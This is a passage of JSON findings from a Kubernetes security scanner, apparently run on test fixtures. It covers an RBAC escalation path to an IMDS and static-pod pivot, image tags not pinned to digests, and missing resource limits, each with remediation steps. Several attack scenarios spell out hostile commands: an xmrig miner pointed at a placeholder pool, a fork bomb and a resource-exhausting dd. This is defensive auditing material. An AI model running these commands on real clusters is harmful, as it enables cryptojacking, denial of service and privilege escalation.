      "Apply the cut: remove the permission `patch deployments` that enables the first hop (`User/gw-patcher` → `ServiceAccount/gw-workloads/gw-web-sa`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_hijack",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "User",
          "name": "gw-patcher"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "permission": "patch deployments",
        "gains": "can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa",
        "source_binding": "gw-patcher",
        "source_role": "gw-patcher",
        "binding_namespace": "gw-workloads"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS"
      },
      {
        "step": 3,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-CONTAINER-IMAGE-001:Deployment:cloud-eks-test:imds-pivot-app:app",
    "rule_id": "KUBE-CONTAINER-IMAGE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/cloud-eks-test/imds-pivot-app` uses image `public.ecr.aws/aws-cli/aws-cli:latest` without a digest pin",
    "description": "Container `app` in `Deployment/cloud-eks-test/imds-pivot-app` references image `public.ecr.aws/aws-cli/aws-cli:latest` by mutable tag and uses `imagePullPolicy: Always`. Mutable tags (`:latest`, `:v1`, `:stable`, any tag without an immutable `@sha256:` digest) resolve to whichever manifest the registry happens to point that tag at *right now*. With `imagePullPolicy: Always`, every new pod start pulls the registry's current resolution of the tag, so a registry-side substitution (compromised registry, supply-chain attack, accidental overwrite) lands silently on the next reschedule, eviction, autoscaling event, or node restart.\n\nThis is the classic Kubernetes image-supply-chain pitfall. Even when the build pipeline produces a deterministic artifact, the cluster sees only the tag, and a different team (or attacker) can repoint the tag without the original publisher's involvement. The right answer is to reference the image by its content-addressable digest (`registry.example/app@sha256:abc123...`): the digest is computed over the image manifest, so the cluster will refuse to pull anything that does not match that exact bytes-on-disk.\n\nDigest pinning also unlocks the rest of the supply-chain security stack: image signatures (cosign), Sigstore-style attestations, Kyverno `verifyImages` policies, and SLSA provenance all key off the digest. Without it, signatures are advisory at best because the verifier and the runtime can disagree about which image is being checked.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/imds-pivot-app`"
    },
    "impact": "A registry-side tag rewrite (compromise, supply-chain attack, accidental overwrite) silently replaces the running image on the next pod start: reschedule, eviction, autoscale, or node restart. Signatures and provenance are not enforceable without a digest.",
    "attack_scenario": [
      "Attacker gains write access to the registry hosting `public.ecr.aws/aws-cli/aws-cli:latest` (compromised CI bot account, leaked registry token, third-party base-image takeover).",
      "They build a malicious image with an embedded reverse shell or token-stealer and push it under the same tag, replacing the legitimate manifest at `public.ecr.aws/aws-cli/aws-cli:latest`.",
      "They wait for any natural pod restart: HPA scale-up, node drain, eviction, rolling update. Because the cluster sees only the tag and the pull policy fetches it again, the next kubelet pull resolves to the attacker's manifest.",
      "Existing pods continue running the old image. The intrusion is invisible until enough pods cycle for the new one to dominate, or until the attacker triggers a rollout to accelerate adoption.",
      "Detection is hard: image hash in `kubectl describe pod` now matches the malicious manifest, but no SBOM or CI artifact ever showed this digest because it never existed at build time."
    ],
    "evidence": {
      "container": "app",
      "digest_pinned": false,
      "image": "public.ecr.aws/aws-cli/aws-cli:latest",
      "image_pull_policy": "Always"
    },
    "remediation": "Pin `public.ecr.aws/aws-cli/aws-cli:latest` to an immutable digest (`registry.example/app@sha256:...`) and reduce dependence on `imagePullPolicy: Always`; verify with Sigstore / cosign at admission time.",
    "remediation_steps": [
      "Resolve the current digest: `crane digest public.ecr.aws/aws-cli/aws-cli:latest` (or `docker buildx imagetools inspect public.ecr.aws/aws-cli/aws-cli:latest` for OCI multi-arch). Pin it: `image: public.ecr.aws/aws-cli/aws-cli:latest@sha256:\u003cdigest\u003e`.",
      "Update the build pipeline to emit the digest as part of the build output and write the digest, not the tag, into the manifest before `kubectl apply`.",
      "Sign images with `cosign sign` and require signature verification at admission with a Kyverno `verifyImages` rule or Sigstore Policy Controller.",
      "Add a Kyverno cluster policy that disallows un-digested image references (`require-image-digest`).",
      "Periodically reconcile pinned digests via Renovate / Dependabot so security patches still land, but as deliberate PRs with provenance, not silent registry rewrites."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/containers/images/",
      "https://docs.sigstore.dev/cosign/overview/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/learn-cloud-native/container-security/container-image-security/",
      "https://kyverno.io/docs/writing-policies/verify-images/sigstore/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Images",
        "url": "https://kubernetes.io/docs/concepts/containers/images/"
      },
      {
        "title": "Sigstore — cosign image signing \u0026 verification",
        "url": "https://docs.sigstore.dev/cosign/overview/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Best practices for container image security",
        "url": "https://sysdig.com/learn-cloud-native/container-security/container-image-security/"
      },
      {
        "title": "Kyverno — verifyImages rule (Sigstore)",
        "url": "https://kyverno.io/docs/writing-policies/verify-images/sigstore/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1525",
        "name": "Implant Internal Image",
        "url": "https://attack.mitre.org/techniques/T1525/"
      },
      {
        "id": "T1195.002",
        "name": "Compromise Software Supply Chain",
        "url": "https://attack.mitre.org/techniques/T1195/002/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1485",
        "name": "Data Destruction",
        "url": "https://attack.mitre.org/techniques/T1485/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:imageDigestPin"
    ]
  },
  {
    "id": "KUBE-CONTAINER-IMAGE-001:Deployment:containersec-fixtures:containersec-image:app",
    "rule_id": "KUBE-CONTAINER-IMAGE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/containersec-fixtures/containersec-image` uses image `busybox:latest` without a digest pin",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-image` references image `busybox:latest` by mutable tag and uses `imagePullPolicy: Always`. Mutable tags (`:latest`, `:v1`, `:stable`, any tag without an immutable `@sha256:` digest) resolve to whichever manifest the registry happens to point that tag at *right now*. With `imagePullPolicy: Always`, every new pod start pulls the registry's current resolution of the tag, so a registry-side substitution (compromised registry, supply-chain attack, accidental overwrite) lands silently on the next reschedule, eviction, autoscaling event, or node restart.\n\nThis is the classic Kubernetes image-supply-chain pitfall. Even when the build pipeline produces a deterministic artifact, the cluster sees only the tag, and a different team (or attacker) can repoint the tag without the original publisher's involvement. The right answer is to reference the image by its content-addressable digest (`registry.example/app@sha256:abc123...`): the digest is computed over the image manifest, so the cluster will refuse to pull anything that does not match that exact bytes-on-disk.\n\nDigest pinning also unlocks the rest of the supply-chain security stack: image signatures (cosign), Sigstore-style attestations, Kyverno `verifyImages` policies, and SLSA provenance all key off the digest. Without it, signatures are advisory at best because the verifier and the runtime can disagree about which image is being checked.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-image",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-image`"
    },
    "impact": "A registry-side tag rewrite (compromise, supply-chain attack, accidental overwrite) silently replaces the running image on the next pod start: reschedule, eviction, autoscale, or node restart. Signatures and provenance are not enforceable without a digest.",
    "attack_scenario": [
      "Attacker gains write access to the registry hosting `busybox:latest` (compromised CI bot account, leaked registry token, third-party base-image takeover).",
      "They build a malicious image with an embedded reverse shell or token-stealer and push it under the same tag, replacing the legitimate manifest at `busybox:latest`.",
      "They wait for any natural pod restart: HPA scale-up, node drain, eviction, rolling update. Because the cluster sees only the tag and the pull policy fetches it again, the next kubelet pull resolves to the attacker's manifest.",
      "Existing pods continue running the old image. The intrusion is invisible until enough pods cycle for the new one to dominate, or until the attacker triggers a rollout to accelerate adoption.",
      "Detection is hard: image hash in `kubectl describe pod` now matches the malicious manifest, but no SBOM or CI artifact ever showed this digest because it never existed at build time."
    ],
    "evidence": {
      "container": "app",
      "digest_pinned": false,
      "image": "busybox:latest",
      "image_pull_policy": "Always"
    },
    "remediation": "Pin `busybox:latest` to an immutable digest (`registry.example/app@sha256:...`) and reduce dependence on `imagePullPolicy: Always`; verify with Sigstore / cosign at admission time.",
    "remediation_steps": [
      "Resolve the current digest: `crane digest busybox:latest` (or `docker buildx imagetools inspect busybox:latest` for OCI multi-arch). Pin it: `image: busybox:latest@sha256:\u003cdigest\u003e`.",
      "Update the build pipeline to emit the digest as part of the build output and write the digest, not the tag, into the manifest before `kubectl apply`.",
      "Sign images with `cosign sign` and require signature verification at admission with a Kyverno `verifyImages` rule or Sigstore Policy Controller.",
      "Add a Kyverno cluster policy that disallows un-digested image references (`require-image-digest`).",
      "Periodically reconcile pinned digests via Renovate / Dependabot so security patches still land, but as deliberate PRs with provenance, not silent registry rewrites."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/containers/images/",
      "https://docs.sigstore.dev/cosign/overview/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/learn-cloud-native/container-security/container-image-security/",
      "https://kyverno.io/docs/writing-policies/verify-images/sigstore/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Images",
        "url": "https://kubernetes.io/docs/concepts/containers/images/"
      },
      {
        "title": "Sigstore — cosign image signing \u0026 verification",
        "url": "https://docs.sigstore.dev/cosign/overview/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Best practices for container image security",
        "url": "https://sysdig.com/learn-cloud-native/container-security/container-image-security/"
      },
      {
        "title": "Kyverno — verifyImages rule (Sigstore)",
        "url": "https://kyverno.io/docs/writing-policies/verify-images/sigstore/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1525",
        "name": "Implant Internal Image",
        "url": "https://attack.mitre.org/techniques/T1525/"
      },
      {
        "id": "T1195.002",
        "name": "Compromise Software Supply Chain",
        "url": "https://attack.mitre.org/techniques/T1195/002/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1485",
        "name": "Data Destruction",
        "url": "https://attack.mitre.org/techniques/T1485/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:imageDigestPin"
    ]
  },
  {
    "id": "KUBE-CONTAINER-IMAGE-001:Deployment:vulnerable:risky-app:app",
    "rule_id": "KUBE-CONTAINER-IMAGE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/vulnerable/risky-app` uses image `nginx:latest` without a digest pin",
    "description": "Container `app` in `Deployment/vulnerable/risky-app` references image `nginx:latest` by mutable tag and uses `imagePullPolicy: Always`. Mutable tags (`:latest`, `:v1`, `:stable`, any tag without an immutable `@sha256:` digest) resolve to whichever manifest the registry happens to point that tag at *right now*. With `imagePullPolicy: Always`, every new pod start pulls the registry's current resolution of the tag, so a registry-side substitution (compromised registry, supply-chain attack, accidental overwrite) lands silently on the next reschedule, eviction, autoscaling event, or node restart.\n\nThis is the classic Kubernetes image-supply-chain pitfall. Even when the build pipeline produces a deterministic artifact, the cluster sees only the tag, and a different team (or attacker) can repoint the tag without the original publisher's involvement. The right answer is to reference the image by its content-addressable digest (`registry.example/app@sha256:abc123...`): the digest is computed over the image manifest, so the cluster will refuse to pull anything that does not match that exact bytes-on-disk.\n\nDigest pinning also unlocks the rest of the supply-chain security stack: image signatures (cosign), Sigstore-style attestations, Kyverno `verifyImages` policies, and SLSA provenance all key off the digest. Without it, signatures are advisory at best because the verifier and the runtime can disagree about which image is being checked.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "A registry-side tag rewrite (compromise, supply-chain attack, accidental overwrite) silently replaces the running image on the next pod start: reschedule, eviction, autoscale, or node restart. Signatures and provenance are not enforceable without a digest.",
    "attack_scenario": [
      "Attacker gains write access to the registry hosting `nginx:latest` (compromised CI bot account, leaked registry token, third-party base-image takeover).",
      "They build a malicious image with an embedded reverse shell or token-stealer and push it under the same tag, replacing the legitimate manifest at `nginx:latest`.",
      "They wait for any natural pod restart: HPA scale-up, node drain, eviction, rolling update. Because the cluster sees only the tag and the pull policy fetches it again, the next kubelet pull resolves to the attacker's manifest.",
      "Existing pods continue running the old image. The intrusion is invisible until enough pods cycle for the new one to dominate, or until the attacker triggers a rollout to accelerate adoption.",
      "Detection is hard: image hash in `kubectl describe pod` now matches the malicious manifest, but no SBOM or CI artifact ever showed this digest because it never existed at build time."
    ],
    "evidence": {
      "container": "app",
      "digest_pinned": false,
      "image": "nginx:latest",
      "image_pull_policy": "Always"
    },
    "remediation": "Pin `nginx:latest` to an immutable digest (`registry.example/app@sha256:...`) and reduce dependence on `imagePullPolicy: Always`; verify with Sigstore / cosign at admission time.",
    "remediation_steps": [
      "Resolve the current digest: `crane digest nginx:latest` (or `docker buildx imagetools inspect nginx:latest` for OCI multi-arch). Pin it: `image: nginx:latest@sha256:\u003cdigest\u003e`.",
      "Update the build pipeline to emit the digest as part of the build output and write the digest, not the tag, into the manifest before `kubectl apply`.",
      "Sign images with `cosign sign` and require signature verification at admission with a Kyverno `verifyImages` rule or Sigstore Policy Controller.",
      "Add a Kyverno cluster policy that disallows un-digested image references (`require-image-digest`).",
      "Periodically reconcile pinned digests via Renovate / Dependabot so security patches still land, but as deliberate PRs with provenance, not silent registry rewrites."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/containers/images/",
      "https://docs.sigstore.dev/cosign/overview/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/learn-cloud-native/container-security/container-image-security/",
      "https://kyverno.io/docs/writing-policies/verify-images/sigstore/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Images",
        "url": "https://kubernetes.io/docs/concepts/containers/images/"
      },
      {
        "title": "Sigstore — cosign image signing \u0026 verification",
        "url": "https://docs.sigstore.dev/cosign/overview/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Best practices for container image security",
        "url": "https://sysdig.com/learn-cloud-native/container-security/container-image-security/"
      },
      {
        "title": "Kyverno — verifyImages rule (Sigstore)",
        "url": "https://kyverno.io/docs/writing-policies/verify-images/sigstore/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1525",
        "name": "Implant Internal Image",
        "url": "https://attack.mitre.org/techniques/T1525/"
      },
      {
        "id": "T1195.002",
        "name": "Compromise Software Supply Chain",
        "url": "https://attack.mitre.org/techniques/T1195/002/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1485",
        "name": "Data Destruction",
        "url": "https://attack.mitre.org/techniques/T1485/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:imageDigestPin"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:flat-network:api:api",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `api` in `Deployment/flat-network/api` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `api` in workload `Deployment/flat-network/api` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "api",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/api`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `api` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "api",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `api` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n flat-network --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `api`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:DaemonSet:rbac-fixtures:daemon-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `DaemonSet/rbac-fixtures/daemon-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `DaemonSet/rbac-fixtures/daemon-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `DaemonSet/rbac-fixtures/daemon-app`, runs on **every** node (per-node blast radius)"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n rbac-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:cloud-eks-test:imds-pivot-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/cloud-eks-test/imds-pivot-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/cloud-eks-test/imds-pivot-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/imds-pivot-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
